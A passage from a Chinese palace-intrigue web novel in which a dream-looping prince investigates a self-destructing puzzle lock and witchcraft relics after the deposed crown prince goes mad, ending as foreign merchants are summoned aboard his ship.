一路上,周昕阳都在思考拼合锁块、复原真正密码的可行性,毕竟,好的密码锁打不开,那坏的总能看见里面的构造了吧?
如果连坏的都破解不了,那宫廷锁匠的能力也太业余了。
不过,这也不好说,毕竟残缺的机关锁,信息有限,哪怕研究,恐怕也收效甚微。
想着想着,皇帝寝宫到了。
第77章 太子疯了
天刚蒙蒙亮。
皇帝寝宫。
“这么说,太子确实有使用巫蛊之术?”昭明帝听完萧景琰,神情淡漠,冷冷说道。
“那些东西,疑似巫蛊之术的残骸。”萧景琰低声回禀。
“哼。”
昭明帝冷哼一声,“那个孽子,果然心怀不轨。”
“行了,把东西收好,封存起来吧。”
“是。”萧景琰行礼道。
“父皇,儿臣有话要说。”周昕阳行了一礼,开口道。
“老九,你有什么话说?”昭明帝问道。
周昕阳解释:“儿臣刚刚自作主张,让萧大人拼合第四把锁,尝试看下能否复原出正确的开锁密码……”
“嗯?”
昭明帝微微皱眉,“这铁箱都被炸开了,此事还有何意义?”
“启禀父皇,儿臣觉得这些锁,都不简单,无论是形制,还是锁孔开启的方式,都颇有机关术的影子,将复合机关融入其中,一旦开启失败,就会**。”周昕阳继续解释,
“现在太子被控制住了,可给太子铁箱的那个神秘老道士还下落不明。”
“父皇,儿臣也碰见过那个老道士,他指引我来东宫,指引我打开铁箱,他明知其中有**,却引诱儿臣赴死。”
“儿臣一定要找到他,问个究竟!”
“而这些锁,就是唯一的信息。”
“求父皇支持。”
昭明帝略微沉吟了一下后,开口说:“行吧,老九,那这些锁,就暂时交给你来处理。”
“有什么结果,要第一时间跟朕汇报。”
“儿臣遵旨。”周昕阳行礼,“儿臣还有一个不情之请。”
“讲。”昭明帝问。
“请父皇让宫里这些锁匠和工部配合一下,儿臣毕竟是外行,锁这一块,还是他们比较专业。”周昕阳提出了自己的要求。
“行,朕的令牌不是给你了吗?”
“你就继续用吧。”
“朕会给工部一道旨意,让他们配合你。”
“你就暂时留在京城,调查这件事。”
昭明帝微微颔首,主动提出让周昕阳留在京城。
“是,多谢父皇。”周昕阳行礼,他的目的达到了。
这一轮,他算是留了一个保险。
除了发泄心中的郁结之气外,成功博弈到了皇后的秘密。
这个东西,可以成为周昕阳的一个底牌。
吃皇后一辈子的秘密。
皇后娘娘,你也不想你隐藏假玉玺、假龙袍的事情被父皇知道吧?
……
宗人府,幽禁室。
此处虽非诏狱那般血腥阴森,但常年不见阳光,空气中弥漫着一股陈腐的木头和淡淡霉味,压抑得令人喘不过气。
几盏昏黄的油灯在墙壁上摇曳,将人影拉得忽长忽短,更添几分诡谲。
曾经一人之下、万人之上的太子周炳宸,此刻身着素色囚衣,发髻微散,坐在一张硬木椅上,虽身陷囹圄,他眉宇间那股属于天潢贵胄的傲慢与戾气却并未消减多少。
宗人府宗人令、老王爷周洵,端坐在他对面的一张太师椅上,面色沉肃,不怒自威。
两人之间,隔着一张方几,上面摊开着一份墨迹已干的供状。
“周炳宸,”周洵的声音打破沉寂,带着不容置疑的威严,“你与国舅长孙晟暗中勾结,私募甲胄,蓄养死士,意图在神武门发动兵变,证据链完整确凿,桩桩件件皆指向你图谋不轨。事到如今,你还有何可辩解?”
“哼!”周炳宸嗤笑一声,下巴微扬,眼神里满是讥讽,“周洵,少在这里跟孤唱戏。成王败寇,自古皆然。孤既然落到这步田地,认栽便是!要杀要剐,给个痛快,何必在此惺惺作态,啰嗦个没完?”
他话锋一转,狭长的眼眸眯起,透出几分狐疑与躁动:“方才那声响动,如此巨大?外面到底发生了何事?是不是孤的人……”
他还存着一丝渺茫的希望,或许是忠于他的势力正在设法营救。
周洵面无表情地打断了他的试探:“宗人府内之事,不劳废太子费心。至于外面如何,更与你无关了。”他指了指案几上的供状,“既然你承认了,那便爽快些,签字画押,本王也好向陛下复命,大家都省事。”
“省事?”周炳宸身体向后一靠,双臂环抱,摆出一副浑不吝的姿态,“你不告诉孤外面发生了什么,孤心里不痛快,这字,便签不了。咱们就这么耗着,看谁先撑不住。”他料定周洵不敢对他用刑,有恃无恐。
“你!”周洵花白的胡须微颤,眼中闪过一丝怒意,却又无可奈何。对这位身份特殊的囚犯,打不得骂不得,这种滚刀肉似的态度最是难缠。场面一时僵持不下,幽禁室内的气氛更加凝滞。
就在此时——
“噔噔噔……”一阵急促却刻意放轻的脚步声由远及近。
一名身着宗人府属官服饰的中年人快步走**内,先是对周洵恭敬行礼,随即凑近他耳边,低声道:“大人,宸察院方才加急送来一份密报,言明需您亲阅,事涉东宫。”
说着,他将一封密封的信函双手呈上。
周洵眉头微皱,瞥了一眼对面看似闭目养神,实则竖着耳朵的周炳宸,不动声色地接过信函,指尖运起暗劲,悄无声息地捻开火漆。
周洵展开信笺,目光快速扫过其上密密麻麻的小字。
起初,他神色如常,但很快,他捏着信纸的指尖微微收紧,尽管面色依旧沉静,可那骤然锐利起来的目光,以及一瞬之间变得更加挺直的后背,都泄露了他内心的震动。
信上简明扼要地汇报了东宫偏殿前的**,提到了铁箱、**,以及……那最为骇人听闻的发现——疑似用于巫蛊厌胜之术的焦黑人偶,胸口还钉着铁钉!
巫蛊!
这两个字如同惊雷在他脑中炸响。
身为宗人令,他太清楚这东西在宫闱之中意
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味着什么。
这已不仅仅是政变未遂,这是触及了历代帝王最深最痛的逆鳞,是足以株连蔓延、掀起滔天血浪的禁忌!
周洵深吸一口气,强行压下翻腾的心绪。
他缓缓将信纸折好,收入袖中,再抬眼看向周炳宸时,眼神已然不同。那不再是面对一个失势囚犯的无奈,而是一种冰冷的、仿佛在看一个**的审视。
周炳宸被周洵这突如其来的目光盯得有些发毛,那股不祥的预感愈发强烈,他强作镇定,冷笑道:“怎么?是老家伙终于撑不住,咽气了?还是孤的救兵来了,让你这老匹夫慌了神?”
周洵没有回答他的挑衅,而是用一种平缓得近乎诡异的语调开口,每个字都像冰珠砸在地上:“废太子周炳宸,本王再问你一次,东宫偏殿之内,除了你勾结逆臣、密谋兵变的证据之外,可还藏了……其他东西?”
“其他东西?”周炳宸眉头紧锁,心头一惊,难道是铁箱被打开了?
这么快?
不,不可能!
这个老东西在炸我!!
周炳宸露出傲慢之色:“孤的东宫,奇珍异宝无数,你指的是什么?莫非你这宗人令还兼了抄家的差事,看上孤的哪件宝贝了?”
“宝贝?”周洵嘴角扯出一抹极淡的、毫无笑意的弧度,“确实是个‘宝贝’。一个铁箱,重重机关锁闭,内藏**,一触即发,这‘宝贝’,你可认得?”
周炳宸瞳孔骤然收缩!铁箱!他当然认得!那是他最大的秘密,因为老九,他才暴露了出来。难道刚才那声巨响是……
不等他细想,周洵的声音再次响起,不高,却带着彻骨的寒意,直刺他心扉:“箱中之物,已被烈火焚毁大半,可惜啊,天网恢恢,终究还是留下了痕迹。一个泥塑的人偶,心口钉着铁钉……周炳宸,你告诉本王,这,也是你谋反计划中的一环吗?你用此等魇镇邪术,意欲何为?!所欲诅咒者,又是何人?!”
“巫……巫蛊?!”周炳宸如遭雷击,脸上的血色瞬间褪得干干净净,一直强撑的傲慢姿态荡然无存,口中不断喃喃自语:“巫蛊之术?真是巫蛊之术的人偶?”
“那个老道士,果然是施展妖邪之术的妖道!”
“呵呵……”
“稳十五年……能帮孤稳十五年……如今期限已到。”
“他算得真准!”
“他算得真准啊……”
“哈哈哈……”
周炳宸突然哈哈大笑起来,披头散发,几近疯癫。
“周炳宸,你发什么疯?”周洵脸色一变,狠狠一拍桌案,站了起来。
“发疯?”
“哈哈,为何不疯?”
“怎能不疯?”
“十五年光阴转瞬间,不过是黄粱一梦,都是假的,都是假的!”
“都是算好的,都是被计算好的……”
周炳宸手舞足蹈,神态疯癫,不断喃喃自语。
他疯了!
第78章 第四把锁的秘密
“什么?”
“太子疯了?”
昭明帝收到这个消息的时候,第一反应对方是装的。
可听到周洵如此笃定的话语后,他又迟疑了。经过一番沉思后,深深叹了口气:
“唉,既是如此,那就这样吧,就让他待在宗人府中吧……”
留下性命,终身圈禁。
这已经算是昭明帝对他这位废太子最好的安排了。
“遵旨。”周洵行礼,退了出去。
……
东宫,**现场旁临时清理出的一处偏殿内,灯火通明。
原本的家具陈设被移至角落,中央的空地上铺着数张巨大的白色麻布,上面分门别类地摆放着从**灰烬中筛选出的残骸,空气中依旧残留着淡淡的硝烟和焦糊气味。
周昕阳负手而立,目光锐利地落在白布中央那几块被小心翼翼拼合起来的焦黑金属片上——那是机关锁仅存的小半块残骸。
锁匠们和一名工部派来的老主事正躬身站在一旁,额角见汗。
“如何?研究了这半晌,可有什么结论?”周昕阳的声音在寂静的殿内显得格外清晰。
工部老主事用袖口擦了擦汗,拱手回话,语气带着无奈:“回王爷,下官等仔细查验过了。”
“这……这锁块损毁得太过彻底,尤其是关键部位的机括结构,完全成了碎渣,根本无法推断其原有的精妙构造,更别提逆向推演破解之法了。”他言下之意,这条路似乎走不通了。
周昕阳没有说话,只是上前两步,更仔细地观察着那拼凑起来仍不足原锁四分之一的残片。玄铁特有的暗沉光泽在焦黑下隐约可见,他伸出手指,轻轻拂过断裂处,触手冰凉坚硬。
“不对。”周昕阳缓缓摇头,声音不高,却带着不容置疑的份量,“玄铁之坚,众所周知。即便处于**中心,**威力再猛,也绝无可能将整把锁瞬间气化或熔成这般稀碎的模样。”
他抬起头,目光扫过在场众人,说出了自己的推断:“唯一的解释是,在**发生的第一瞬间,这个机关锁内部预设的某种自毁机制被触发,导致锁体在巨力袭来前便已自行解体、崩散。随后,**的冲击波再将这已然散架的碎片炸得四处飞溅,混入其他灰烬之中,才造成了如今这般看似被‘彻底炸毁’的假象。”
一直凝神倾听的公孙启闻言,眼中闪过一道亮光,他连忙凑近那些锁块碎片,几乎是趴在上面仔细查验,手指小心翼翼地丈量着碎片的厚度和断裂面的纹路。
“王爷明鉴!”公孙启的声音带着压抑的激动,“您看这些断裂面,虽然被烟火熏黑,但部分截面异常平整光滑,不像是纯粹被暴力炸开,反倒……反倒像是机括精准分离的痕迹!而且,正如王爷所说,若**真能瞬间熔毁玄铁,那箱内质地更软的绢布、人偶又怎能留下残骸?这于理不合!”
他越说越觉得可能性极大:“除非……设计此锁者,早已料到有人会强行开启,甚至不惜用**爆破。故而设置了最后一道屏障——一旦遭遇不可逆的外力破坏,锁芯便自行崩解,确保即便箱体被毁,锁内的核心秘密也无人能从残骸中复原!”
周昕阳微微颔首,公孙启的补充与他的判断不谋而合。
“荒谬!”一旁的工部老主事却忍不住出声反驳,他觉得这想法太过天马行空,“王爷,公孙启此言未免太过异想天开!机关锁再精妙,也是死物,岂能预知**并提前自毁?天下焉有如此巧夺天工、近乎通灵的设计?这……这根本是不可能之事!”他转向周昕阳,语气急切:“王爷,您万不可被这些无端猜测误导啊!”
公孙启被当面斥责,脸色一白,有些忐忑地看向周昕阳。
周昕阳摆了摆手,语气平静却带着肯定:“公孙启所言,并非全无道理。判断一事,不能仅凭经验想当然。”
周昕阳目光转向工部老主事,变得锐利起来:“你说不可能,他说有可能。空口无凭,何不验证一番?”
老主事一愣:“验证?王爷的意思是……”
“去准备**。”周昕阳命令道,“同等当量的**,再找一块类似的玄铁锁件,当场引爆。看看在同样威力的**下,玄铁锁件是会如你所说被彻底炸碎,还是如同眼前这片残骸一般,呈现出内部结构先于**被破坏的迹象。”
“王爷!不可!”老主事大惊失色,“**乃朝廷严管之物,动用需陛下亲批,程序繁复,岂可为了一个猜测就……”
他的话戛然而止。
因为周昕阳已经从怀中取出了一面金光灿灿的令牌,其上“如朕亲临”四个大字在灯光下灼灼生辉。
“此令牌,可够?”周昕阳的声音不高,却带着无形的压力,“若你觉得不够,现在便可进宫面圣,禀明此事。一切后果,由本王一力承担。”
他环视众人,语气斩钉截铁:“实验,才是检验猜测的唯一真理。没有实证,所
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有的推论都只是空中楼阁。本王不要模棱两可的猜测,要的是确凿无疑的结果。”
周昕阳内心其实更倾向于公孙启的推断。
如此重要的铁箱,若锁具轻易就能被从残骸中反向破解,那反而显得不合常理。
毕竟如此浅显的破解方法,这么大的漏洞,他感觉梦境不会给他。
那个神秘的老道士,如此机关算尽,未必不会想到这一点。
当然,这一切还需实验证明。
工部老主事见周昕阳竟连“如朕亲临”的令牌都请了出来,态度又如此坚决,心知无法阻拦,只得一面派人去按规程申领**,一面火速将此事密报昭明帝。
出乎周昕阳意料的是,昭明帝在得知他的“胡闹”后,并未直接驳回,而是在短暂沉默后,竟同意了这次实验。
随之而来的还有一道口谕,语气颇为严厉,告诫周昕阳“此事当适可而止,勿再生事”,显然希望他查明锁块情况后,就此打住。
这道口谕让周昕阳目光微闪。父皇的容忍度,似乎比他预想的要高一些,但这容忍也显然到了极限。
“时间不早了,尽快准备实验。”周昕阳看了一眼怀表,沉声吩咐。
片刻后,在东宫一处特意清理出的空地上,随着一声沉闷的巨响,火光硝烟散去。
众人迫不及待地上前查验。只见作为实验品的玄铁锁块被炸得飞散开来,表面漆黑,但拾掇拼凑后,其主体结构依然清晰可辨,绝无现场残骸那种近乎“粉身碎骨”的破碎感。
“哼,果然如此。”周昕阳冷哼一声,验证了心中所想,更是确认了这背后的水有多深。
他立刻转身,对等候在旁的宸察院成员和工部吏员下令:
“立刻调派人手,重新筛检东宫**现场的所有灰烬!特别是那些混杂在泥土和垃圾中的金属碎屑,一片都不许遗漏!”
他的目光锐利如刀,仿佛能穿透眼前的混乱,直指核心。
“按照本王的推断,机关锁是在**瞬间或之前自行解体的,其碎片必定被炸飞后,与其他锁链灰烬、箱体残渣混合在了一起。”
“给本王仔细地找!完整的锁具碎片,绝不可能只有我们之前找到的那一小点!”
“必须把所有关键部件都给本王找出来!”
“是。”众人听令后,立刻开始重新寻找。
周昕阳看了一眼怀表时间【7:45】,距离梦境苏醒,只剩下一个半小时了。
第79章 **实验
东宫,**现场。
周昕阳的命令一下,整个东宫偏殿前的气氛瞬间为之一变。
此时,天光已然大亮,旭日东升,金色的阳光驱散了长夜的黑暗,却也清晰照亮了**现场的一片狼藉。
夜晚的阴霾被晨光取代,但空气中的紧张感却有增无减。
原本因为**实验而有些松懈的众人立刻绷紧了神经。
宸察院的探子们反应最为迅速,无需冷千嶂再多吩咐,已有数人快步奔向存放原始**灰烬的区域,大声招呼着协助清理现场的杂役和兵士:
“所有人都过来!将之前扫拢的灰烬残渣,全部重新摊开!动作快!”
“细眼筛网和木盆再多拿些来!”
工部的吏员也不敢怠慢,那位老主事虽然心中或许还对周昕阳的“异想天开”存有疑虑,但皇帝都已首肯,王爷手持令牌,他只能全力配合,指挥着带来的工匠:“都打起精神!按王爷的吩咐,重点挑拣所有金属碎屑,尤其是带有棱角、看似机关零件的!”
在明亮的晨光下,搜寻工作显得更加清晰和有条不紊。
人员奔走,工具碰撞,昨夜初步清理的现场再次变得忙碌。
搜寻工作细致地展开:
第一步是粗筛。
兵士们用木锹和扫帚,将堆积在一起的灰烬、烧焦的木炭块、扭曲的金属片以及炸碎的砖石泥土等,小心地重新铺在巨大的油布上,形成薄层。阳光照射下,扬起的灰尘更加显眼。
第二步是分拣。
宸察院探员和锁匠们蹲下身,借着良好的光线,仔细拨弄灰烬。他们熟练地将大块残骸、焦黑绢布、可疑有机物残渣分别归类。
第三步是精挑。
在充足的光线下,精挑细选变得更为高效。
公孙启和几名锁匠不顾官袍污秽,专注地捻起细小的金属碎屑,对着阳光仔细辨认。
“王爷您看,”他拿起一片边缘锐利的薄片,“此物确是玄铁。但这断裂口……在阳光下看得更清楚,如此平整,绝非炸裂所能为!”
周昕阳接过碎片,在晨光下看得更加分明,那断口的确异常平滑。
另一名老锁匠也有发现,他举起一块扭曲的金属件:“找到了!这像是‘连环芯’的弹簧·片!在光下细看,其韧性犹在,若是纯粹**,早不成形了!”
工部工匠们则将初步筛选出的疑似零件按类分放。
时间流逝,朝阳升高,气温也开始回暖。
持续搜寻了一个小时,众人虽疲惫,但成果渐丰。
木盘中的可疑碎片多了起来:坚韧的金属丝、带齿轮刻痕的残边、中空小管、完好铆钉……每一样都在晨光下显露更多细节。
周昕阳站在场边,目光锐利地扫视全场。突然,他指向油布边缘一处混杂着砖粉泥土的角落。
“那里,连土铲起,仔细筛。”
一名探子依言照做。筛去泥土后,几块沾满泥土的小黑点显露出来。
用水冲洗后,其中一块碎片内部露出了极其复杂精细的迷宫般刻痕!
“锁芯秘纹!”公孙启惊呼,“藏在泥土里,若非天亮光线好,几乎错过!王爷明察!”
周昕阳在明亮的晨光下仔细端详着那精密的刻痕,心中更无疑问。他沉声道:
“继续找,范围扩大。阳光正好,看得清楚,墙角、砖缝、草丛,皆不可放过!我要尽可能多的碎片!”
他知道,在白昼的光线下,这场搜寻或许能发现更多夜晚难以察觉的线索,每一片拼图都至关重要。
周昕阳拿出怀表,看了一眼时间【8:45】。
来不及了。
只能做到这里吗?
周昕阳思绪微动,将还在寻找的公孙启,直接拽了起来。
“公孙启,现在有个任务交给你。”
公孙启一愣,拍了拍身上的尘土,“请王爷吩咐。”
“你现在去辨认那些机关碎片,尝试将那些东西,开始拼合。”
“我只给你二十分钟,等指针指到这里的时候,你必须给孤一个结果。”
话罢,周昕阳直接将自己的怀表,丢给了公孙启。
“啊?”
“王爷,碎片还没搜寻完毕,现在就开始拼合,是不是太急了?”公孙启忍不住说道。
“别废话,让你做,你就去做。”周昕阳当然知道现在不是最佳时期,可他的时间不够了。
在醒来之前,他必须要看见大概的形状轮廓,保证他下一次来梦境的时候,可以用得上。
若是不拼,下一次入梦,又等于从头再来。
公孙启接过那块还带着周昕阳体温的怀表,冰凉的金属表壳和玻璃表蒙让他因专注搜寻而有些发热的头脑为之一清。
表盘上,时针指向八点三刻,分针还在不疾不徐地移动着,二十分钟……王爷只给了他二十分钟!
公孙启抬头看向周昕阳,对方脸上没有任何商量的余地,只有一种不容置疑的紧迫感。
虽然不明白王爷为何如此急迫,甚至不等搜寻完毕就要看结果,但公孙启深知上位者的命令不容置疑。
“是!王爷,小人定当竭尽全力!”公孙启不再多言,深吸一口气,将怀表小心地揣入怀中贴身放好,仿佛那不是一块表,而是一道催命符。
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他立刻转身,快步走向那几个盛放着初步分类碎片的木盘。
阳光正好,将盘中的金属碎片照得清清楚楚。他先是快速扫过所有碎片,心中默默评估着数量和复杂程度,随即对旁边一名宸察院探子急声道:“快!给我找一块最平整的木板,越大越好!再要些最细腻的糯米浆糊,要快!”
吩咐下去后,公孙启不再理会周围的喧嚣和依旧在进行搜寻工作的人群,整个人仿佛瞬间进入了一种忘我的状态。
公孙启挽起袖子,先是闭上眼,深呼吸几次,似乎在脑海中构建着机关锁大致的轮廓和原理。
然后,他猛地睁开眼,目光如电,开始动手。
第一步,归类。
他不再满足于粗略的分类。
他将木盘中的碎片倒在临时找来的光滑木板上,手指如飞,凭借对机关结构的深刻理解,进行二次精细分拣:
结构件:带有明显榫卯接口或固定孔洞的、较厚实的碎片被归拢到一处。
核心件:那些带有精细刻痕、齿轮状或弹簧结构的,尤其是那片带有“锁芯秘纹”的,被小心地放在另一处。
连接件:细小的铆钉、金属丝、中空小管等被单独放置。
不明碎片:一些暂时看不出用途,但质地、颜色与玄铁一致的,也归在一起。
第二步,拼合。
公孙启没有急于从最复杂的核心部分开始,而是先寻找最大的、特征最明显的结构件。
他拿起两块边缘都有半圆形凹槽的厚重碎片,仔细比对断裂口的纹路和金属纹理,尝试着将它们拼接。
第一次,失败了,角度略有偏差。他毫不气馁,调整角度,再次尝试。
终于,“咔”一声极轻微的响动,两块碎片的断裂面严丝合缝地咬合在了一起!
“对了!”公孙启眼中闪过一抹喜色,但这喜悦转瞬即逝,取而代之的是更深的专注。
公孙启立刻用指尖蘸取探子刚刚送来的、还微温的糯米浆,小心地涂抹在接缝处,进行临时固定。
这浆糊粘性足够,又不会损伤金属表面,事后也易于清理。
第三步,推演。
随着几块主要结构件的拼合,一个扭曲、残破但依稀可辨的锁具基座轮廓渐渐显现。
公孙启的额头渗出了细密的汗珠,他也顾不上去擦。
他时而拿起那块带有秘纹的核心碎片,对着拼好的基座比划,推测它可能安装的位置和角度;时而又拿起那些细小的弹簧·片和齿轮残片,在基座的卡槽和空位处进行“虚拟”安装,试图还原内部的动力和传动结构。
第80章 拼合机关锁
时间一分一秒地流逝。
怀表在他怀中,他仿佛能听到那滴答作响的走时声,催迫着他的每一根神经。
周围的人都下意识地放轻了动作,屏息看着这个沉浸在自我世界里的锁匠。
就连之前持怀疑态度的工部老主事,也被公孙启那娴熟精准、如同本能般的手法所吸引,眼中露出了惊异之色。
周昕阳静静地看着,表面不动声色,心中却微微颔首。
这公孙启果然是个难得的人才,在如此巨大的时间压力下,依旧能保持冷静,思路清晰,手法稳健。
第四步,也是最后的一步,呈现。
当时针即将指向九点零五分,公孙启终于直起有些酸痛的腰背。
他面前的木板上,一个残缺不全、布满裂缝和空缺,但整体框架已然清晰的机关锁模型呈现在众人面前。
虽然许多关键部件依旧缺失,内部结构更是支离破碎,但那独特的构造、精密的卡槽设计,尤其是核心区域预留出的、恰好能容纳那片秘纹碎片的位置,都无声地宣告着此锁的非同凡响。
公孙启用袖子抹了把汗,转身对周昕阳躬身,声音因高度集中而略带沙哑:“王爷,时间仓促,碎片亦不足,小人只能拼合到此等地步。此锁结构之奇诡精妙,远超寻常,尤其是这自毁机制……”
他指着几处看似自然断裂,实则暗含引导槽的接口,“确系精心设计,非**所能致。若要完全复原,非有全貌碎片与充足时间不可。”
周昕阳走上前,目光深邃地凝视着这个勉强成型的锁具轮廓。
虽然只是冰山一角,但已经足够。
他记住了这个独特的结构,记住了那几个关键连接点和核心区域的大致样貌。
“够了。”周昕阳淡淡开口,将怀表从公孙启手中收回,“做得不错。”
他知道,下一次入梦,这个拼凑起来的轮廓,将是他破解困局的关键。
这一次的搜寻与拼合,为他争取到了宝贵的信息优势。
更理清了他的思路。
在下一次梦境的时候,周昕阳将会有更加充足的时间来破解机关锁的秘密。
“行了,继续去寻找碎片吧。”
“这个机关锁,就暂时放在这里。”
“你们先研究一下。”
周昕阳站起身来,看着手中怀表上的时间,默默等待着梦境结束。
冷千嶂看着这一幕,心中充满着疑惑,他不明白周昕阳为何这么着急?
非要二十分钟内进行拼合?
而他怎么就能笃定公孙启能完成任务呢?
他是怎么发现公孙启才能的?
冷千嶂心中好奇极了,忍不住开口问道:“王爷,你为何如此着急啊?”
“请恕下官多嘴,您的很多举动,下官实在是看不明白?”
嗯?
周昕阳看向冷千嶂,嘴角微微勾起:“看不明白就对了。”
“都让你看明白了。”
“那孤岂不是很没用?”
“本王心情不错,提点你几句。”
“下官洗耳恭听。”冷千嶂连忙行礼。
周昕阳看着冷千嶂那副既困惑又强忍着好奇的模样,嘴角那抹弧度更深了些。
他没有立刻回答,而是踱步到那拼凑起来的机关锁模型前,伸出修长的手指,轻轻点在那片带有秘纹的核心碎片上。
“冷大人,”周昕阳的声音不高,却带着一种奇特的穿透力,“你在宸察院多年,经手的奇案、悬案想必不少。你可曾想过,为何有些案子,看似铁证如山,却总觉得隔了一层纱,真相若隐若现?而有些线索,明明近在眼前,却如同掌中沙,怎么也抓不住关键?”
冷千嶂一怔,没想到周昕阳会从这个角度发问,他沉吟片刻,谨慎答道:“回王爷,下官以为,或是证据尚有缺失,或是……人心叵测,有人刻意误导。”
“说得对,也不全对。”周昕阳转过身,目光平静地看向冷千嶂,“证据会缺失,人心会伪装,但有些东西,是不会骗人的。”他指了指那残缺的锁具,“比如这机关锁的自毁机制,比如那铁箱中不该出现的巫蛊人偶。”
他顿了顿,语气变得意味深长:“本王着急,是因为有些‘时机’,稍纵即逝。就像这锁,若等所有碎片找齐再拼,或许黄花菜都凉了。必须先抓住现有的,拼出一个大概的‘形’,才能知道下一步该往哪个方向去找‘神’。”
“至于公孙启……”周昕阳轻笑一声,“冷大人,识人用人,有时靠的不是长时间的观察,而是关键时刻的决断和一点直觉。他在关键时刻敢建言,面对质疑能坚持己见,在专业领域眼神有光,这样的人,给他一个机会,他往往能还你
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一个惊喜。赌对了,得一助力;赌错了,不过损失些许时间。这本就是一场博弈,不是吗?”
阳光透过窗棂,照在周昕阳侧脸上,明明很温暖,却让冷千嶂感觉到一种深不见底的冷静和掌控感。
这位王爷的每一步,看似随意甚至莽撞,实则都隐含深意。
他不是在胡乱尝试,而是在一种极强目的性驱动下,用超乎常理的方式,高效地推进着事情。
“下官……似乎明白了一些。”冷千嶂缓缓吐出一口气,心中的疑惑并未完全消散,但对周昕阳的敬畏却更深了一层。
这位爷,心思之深,手段之奇,绝非寻常皇子可比。
他隐隐觉得,自己今日的选择,无论是之前的隐瞒,还是此刻的“洗耳恭听”,或许都将对未来产生深远影响。
周昕阳不再多言,目光重新落回怀表上。
秒针一格一格地跳动,他距离苏醒的时间越来越近了……
“好了,此间事暂由你与公孙启负责。”周昕阳将怀表合上,收入怀中,语气恢复了一贯的淡然,“仔细清点所有残骸,特别是与这锁具和那巫蛊之物相关的,列好明细,等本王回来再看……”
说完最后一句,周昕阳感到周遭的世界仿佛被一只无形的手按下了静止键。
紧接着,清晰的视野开始扭曲、剥落,他眼前色彩斑斓的现实如同年代久远的壁画,一块块地从基座上翘起、碎裂,簌簌坠落。
这崩解并非陷入黑暗,而是化作一场光怪陆离的幻象。
那些坠落的碎片,在下坠的过程中竟纷纷舒展变形,仿佛被注入了生命,化作无数只挥动着翅膀的七彩蝴蝶。
它们不再下坠,而是翩然起舞,闪烁着不真实的光晕,汇聚成一道流动的虹光,向着遥不可知的彼岸飞去。
周昕阳的神志在这绚烂而诡异的景象中逐渐飘忽,如同断了线的风筝,对身体的掌控力正被迅速抽离,一种轻盈的失重感包裹了他,将他带向意识的深处。
……
墨蛟号,主卧房间,床榻上。
周昕阳猛然睁开了双眼,看着周围的环境,发现自己还在墨蛟号上,他松了一口气,拿起枕头边的怀表,看了一眼时间。
【3:15:01】
他放下怀表,喃喃自语:“一切都没改变,还在墨蛟号上。”
第81章 西域客商
“记忆也没出现问题。”
“很好!”
“这说明,这一轮在梦境中做的事情,并没有找到‘钥匙’。”
“原以为机关锁难以破解,都打算放弃了。”
“不过现在看来,未必要放弃。”
“破解之法或许就藏在这一次次机关锁拼合之中……”
周昕阳原以为破解第四把已经遥遥无期了。
可谁料,柳暗花明又一村。
**之后的碎片拼合,给了他机会。
“排列组合一共有三十六万二千八百八十种……”
周昕阳不可避免的想起梦境中公孙启的话。
“这种组合顺序,运气差的话,老子一辈子都打不开,因为错一次就**。”
“一天一次的话,要九百九十四年又七十天,老子能活这么久吗?”
周昕阳为什么在梦境中打断公孙启的话,因为他有点破防。
这个人还来回鞭尸!
让周昕阳超级不爽!
但不爽归不爽,周昕阳还是挺佩服公孙启的算术能力的。
“公孙启还真是一个人才。”
“无论是作为锁匠,还是作为算术人才来说……”
“他当一个小小的锁匠,实在是大材小用,屈才了。”
周昕阳回忆起梦境中公孙启的表现,暗暗点头。
“这样的人才,要想办法收到自己手下。”
“只可惜,自己不可能进京,接触不到了。”
“除非在梦里跟他说,让他跟自己去封地,不然……”
周昕阳摇了摇头,觉得不太现实。
他现在也不敢确定什么时候能再一次打破梦境循环,大概率在弄懂第四把机关锁的秘密前,他是不会主动打破的。
那如果被动,他的炸箱行为,就等于让他失去现实中的箱子。
他就将永远没办法打开铁箱,也再也没机会弄清楚在完好状态下的铁箱秘密。
这是周昕阳绝对无法接受的。
“果然,还是要继续尝试炸箱、拼合之法,先把锁弄清楚再说,打破梦境循环先不急……”
周昕阳这么想着,再次闭上眼睛,进入了梦乡。
……
次日,清晨。
墨蛟号巨大的玄色船身劈开云梦江浩渺的烟波,于晨光中向北疾驰。船首雕刻的狰狞蛟首破开水面,激起两道雪白的浪墙,气势如虹。
周昕阳一袭青衫,静立于船头甲板。江风猎猎,吹得他衣袂翻飞,他的目光掠过两岸飞速**的如黛山影,投向水天相接的渺远之处。
在他身侧三步之外,站着一位玄甲亲卫,腰间别着黑色长刀,面容如石刻般冷峻,与脚下甲板仿佛铸为一体。任凭船身随波起伏,江风扑面,他挺拔的身姿竟无一丝晃动。
“玄鹰。”周昕阳突然开口。
“属下在。”玄鹰当即行礼,沉声道。
“何时抵达龙川渡?”周昕阳淡淡问道。
玄鹰回答:“启禀王爷,今天就能到。”
“好。”周昕阳微微颔首,“到龙川渡之后,你去找几个西域的客商过来,孤有用。”
“是,属下明白。”玄鹰恭敬行礼。
一个时辰后,墨蛟号的书房内。
四名身着西域胡服、高鼻深目的客商,正局促不安地站在书房中央的波斯地毯上。
他们华丽的锦袍上还沾染着旅途的风尘,身上浓郁的香料气味与室内清雅的檀香混合,形成一种略显怪异的气息。
几人交换着眼神,嘴唇微动,声音压得极低,如同蚊蚋,在这寂静得能听到船行破浪声的房间里的更显鬼祟。
“萨迪克,你是我们中间最见多识广的,可知这位王爷……突然召见我们这些卑微的商人,所为何事?”一个留着浓密卷翘胡须、身材肥胖的客商用手肘轻轻碰了碰身旁那位较为年长、眼神精明的同伴,语气充满了不安。他手中的镶宝石银杯已被捏得温热,却一口未饮。
被称为萨迪克的客商捻着自己灰白的胡须,眉头紧锁,目光快速扫过书房门口如雕塑般侍立的两名玄甲侍卫,低声道:“阿卜杜勒,噤声!泽川王的心思,岂是我们能揣度的?我只知道,这位王爷权势
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滔天,行事……莫测深浅。”
他顿了顿,声音更低了,“但愿不是我们运往中原的那批火油……”
另一名较为年轻的客商,脸上还带着些许未经世事的惶恐,忍不住插嘴:“难道是我们在龙川渡关税上动的那点手脚,被发现了?”他说完,自己先打了个寒颤。
“闭嘴,哈桑!”萨迪克低声呵斥,紧张地又瞥了一眼门口,“王爷若为那点小事,何须亲自在座舰上召见?派一队兵士拿人便是。”他虽在安慰同伴,但自己手心里的汗却暴露了内心的波澜。
他行走西域与中原多年,见过不少王公贵族,但像泽川王这般,人未至,仅凭这森严的侍卫、这压抑的静默,就让他感到巨大压力的人物,实属罕见。
